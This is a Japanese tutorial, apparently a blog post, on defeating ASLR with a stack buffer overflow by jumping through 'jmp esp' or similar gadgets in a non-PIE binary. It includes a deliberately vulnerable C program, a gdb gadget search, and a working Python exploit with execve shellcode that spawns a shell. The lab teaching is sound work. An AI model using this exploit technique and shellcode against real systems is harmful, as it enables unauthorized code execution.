jmp espによるASLR回避

スタックバッファオーバーフローを利用してスタック上のシェルコードにジャンプするには前もってシェルコードが置かれているアドレスを知る必要があるが、ASLRが有効な場合スタック領域のベースアドレスがランダム化されてしまう。 しかしこのような場合でも、アドレス固定かつ実行可能な領域にjmp espに対応するバイト列があれば、一旦これにジャンプすることでeipをスタック上のシェルコードに移すことができる。 ここでは、jmp espに対応するバイト列を利用して、ASLRが有効な条件下でシェルコードを実行してみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

jmp espに対応するバイト列を調べてみる

まずは、jmp espに対応するバイト列を調べてみる。 また、jmp espと同じように使えるcall esp、push esp+retについても合わせて調べる。

「アセンブリ命令と機械語の相互変換」で説明した方法を使ってもよいが、ここでは実際にアセンブリコードを書き、これをコンパイル・リンクすることで調べてみる。

        /* test.s */
        .intel_syntax noprefix
        .globl _start
_start:
        jmp esp
        call esp
        push esp
        ret
$ gcc -nostdlib test.s

$ objdump -d a.out

a.out:     file format elf32-i386


Disassembly of section .text:

08048098 <_start>:
 8048098:       ff e4                   jmp    esp
 804809a:       ff d4                   call   esp
 804809c:       54                      push   esp
 804809d:       c3                      ret

それぞれ対応するバイト列がff e4ff d454 c3であることがわかる。

脆弱性のあるプログラムを用意する

次のように、スタックバッファオーバーフローが起こせるコードを書く。

/* bof.c */
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[100];
    char cheat[] = "\xff\xe4\xff\xd4\x54\xc3";
    strcpy(buf, argv[1]);
    puts(buf);
    return 0;
}

ここでは全体のコード量が少ないため、cheat変数に欲しいバイト列を入れている。 実際にはコード量の多いプログラムを対象に、欲しいバイト列がないかを探すことになる。

ASLR有効、DEPSSP無効でコンパイル・リンクし、実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector -z execstack bof.c

$ ./a.out $(python -c 'print "A"*40')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ ./a.out $(python -c 'print "A"*120')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

スタックバッファオーバーフローが起こせることが確認できた。

jmp espに対応するバイト列を探してみる

gdbを使い、ASLRを無効にした上で実行時のメモリを調べてみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disable-randomization off
(gdb) start
Temporary breakpoint 1 at 0x8048417
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x08048417 in main ()
(gdb) i proc
process 2995
cmdline = '/home/user/tmp/a.out'
cwd = '/home/user/tmp'
exe = '/home/user/tmp/a.out'
(gdb) shell cat /proc/2995/maps
08048000-08049000 r-xp 00000000 08:01 2359363    /home/user/tmp/a.out
08049000-0804a000 r-xp 00000000 08:01 2359363    /home/user/tmp/a.out
0804a000-0804b000 rwxp 00001000 08:01 2359363    /home/user/tmp/a.out
b75b0000-b75b1000 rwxp 00000000 00:00 0
b75b1000-b7755000 r-xp 00000000 08:01 524330     /lib/i386-linux-gnu/libc-2.15.so
b7755000-b7757000 r-xp 001a4000 08:01 524330     /lib/i386-linux-gnu/libc-2.15.so
b7757000-b7758000 rwxp 001a6000 08:01 524330     /lib/i386-linux-gnu/libc-2.15.so
b7758000-b775b000 rwxp 00000000 00:00 0
b7763000-b7765000 rwxp 00000000 00:00 0
b7765000-b7785000 r-xp 00000000 08:01 524320     /lib/i386-linux-gnu/ld-2.15.so
b7785000-b7786000 r-xp 0001f000 08:01 524320     /lib/i386-linux-gnu/ld-2.15.so
b7786000-b7787000 rwxp 00020000 08:01 524320     /lib/i386-linux-gnu/ld-2.15.so
bf983000-bf9a4000 rwxp 00000000 00:00 0          [stack]
(gdb) start
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Temporary breakpoint 2 at 0x8048417
Starting program: /home/user/tmp/a.out

Temporary breakpoint 2, 0x08048417 in main ()
(gdb) i proc
process 3000
cmdline = '/home/user/tmp/a.out'
cwd = '/home/user/tmp'
exe = '/home/user/tmp/a.out'
(gdb) shell cat /proc/3000/maps
08048000-08049000 r-xp 00000000 08:01 2359363    /home/user/tmp/a.out
08049000-0804a000 r-xp 00000000 08:01 2359363    /home/user/tmp/a.out
0804a000-0804b000 rwxp 00001000 08:01 2359363    /home/user/tmp/a.out
b75c2000-b75c3000 rwxp 00000000 00:00 0
b75c3000-b7767000 r-xp 00000000 08:01 524330     /lib/i386-linux-gnu/libc-2.15.so
b7767000-b7769000 r-xp 001a4000 08:01 524330     /lib/i386-linux-gnu/libc-2.15.so
b7769000-b776a000 rwxp 001a6000 08:01 524330     /lib/i386-linux-gnu/libc-2.15.so
b776a000-b776d000 rwxp 00000000 00:00 0
b7775000-b7777000 rwxp 00000000 00:00 0
b7777000-b7797000 r-xp 00000000 08:01 524320     /lib/i386-linux-gnu/ld-2.15.so
b7797000-b7798000 r-xp 0001f000 08:01 524320     /lib/i386-linux-gnu/ld-2.15.so
b7798000-b7799000 rwxp 00020000 08:01 524320     /lib/i386-linux-gnu/ld-2.15.so
bf83e000-bf85f000 rwxp 00000000 00:00 0          [stack]

ASLRは有効であるがPIEではないため、a.outがマップされている領域のアドレスは固定になっている。 また、DEPが無効であるため、どの領域も実行可能である。

次に、アドレスが固定になっている領域から、先に調べたjmp esp他に対応するバイト列を探してみる。

(gdb) find/b 0x08048000,0x0804b000-1,0xff,0xe4
0x8048421 <main+13>
0x8049421
2 patterns found.
(gdb) find/b 0x08048000,0x0804b000-1,0xff,0xd4
0x8048423 <main+15>
0x8049423
2 patterns found.
(gdb) find/b 0x08048000,0x0804b000-1,0x54,0xc3
0x804842a <main+22>
0x804942a
2 patterns found.
(gdb) x/i 0x8048421
   0x8048421 <main+13>: jmp    esp

cheat変数に仕込んでおいたバイト列が見つかった。 もちろん実際は、メモリ中に偶然このような並びが存在していないか探すことになる。

エクスプロイトコードを書いてみる

エクスプロイトコードでは、スタックバッファオーバーフローを利用してリターンアドレスの値をjmp espの置かれたアドレスに書き換える。 そしてjmp espが実行されるとき、espはリターンアドレスの一つ下のアドレスを指しているので、ここに続けてシェルコードを置けばよい。 call espではその時点でのeipがスタックに積まれることになるが、それ以外はjmp espと同じように機能する。 また、push espを実行するとその時点でのesp(=リターンアドレスの一つ下のアドレス)がスタック上に積まれるので、さらに続けてretを実行することでそのアドレスにリターンすることができ、この場合もjmp espと同じ動作になる。

上の内容をエクスプロイトコードとして書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen

bufsize = int(sys.argv[1])

shellcode = '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
addr_jmpesp = 0x8048421      # (gdb) find/b 0x08048000,0x0804b000-1,0xff,0xe4
addr_callesp = 0x8048423     # (gdb) find/b 0x08048000,0x0804b000-1,0xff,0xd4
addr_pushespret = 0x804842a  # (gdb) find/b 0x08048000,0x0804b000-1,0x54,0xc3

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', addr_jmpesp)
buf += shellcode

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf])
p.wait()

このコードは引数にバッファサイズを取る。 また、すでに説明したようにjmp esp、call esp、push esp+retはどれを使っても同じように機能する。

実際に実行してみる。

$ python exploit.py 100
(snip)                                                                                                                                           ̀
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

ASLRが有効な条件下で、jmp espを経由することによりシェルコードが実行できていることが確認できた。

関連リンク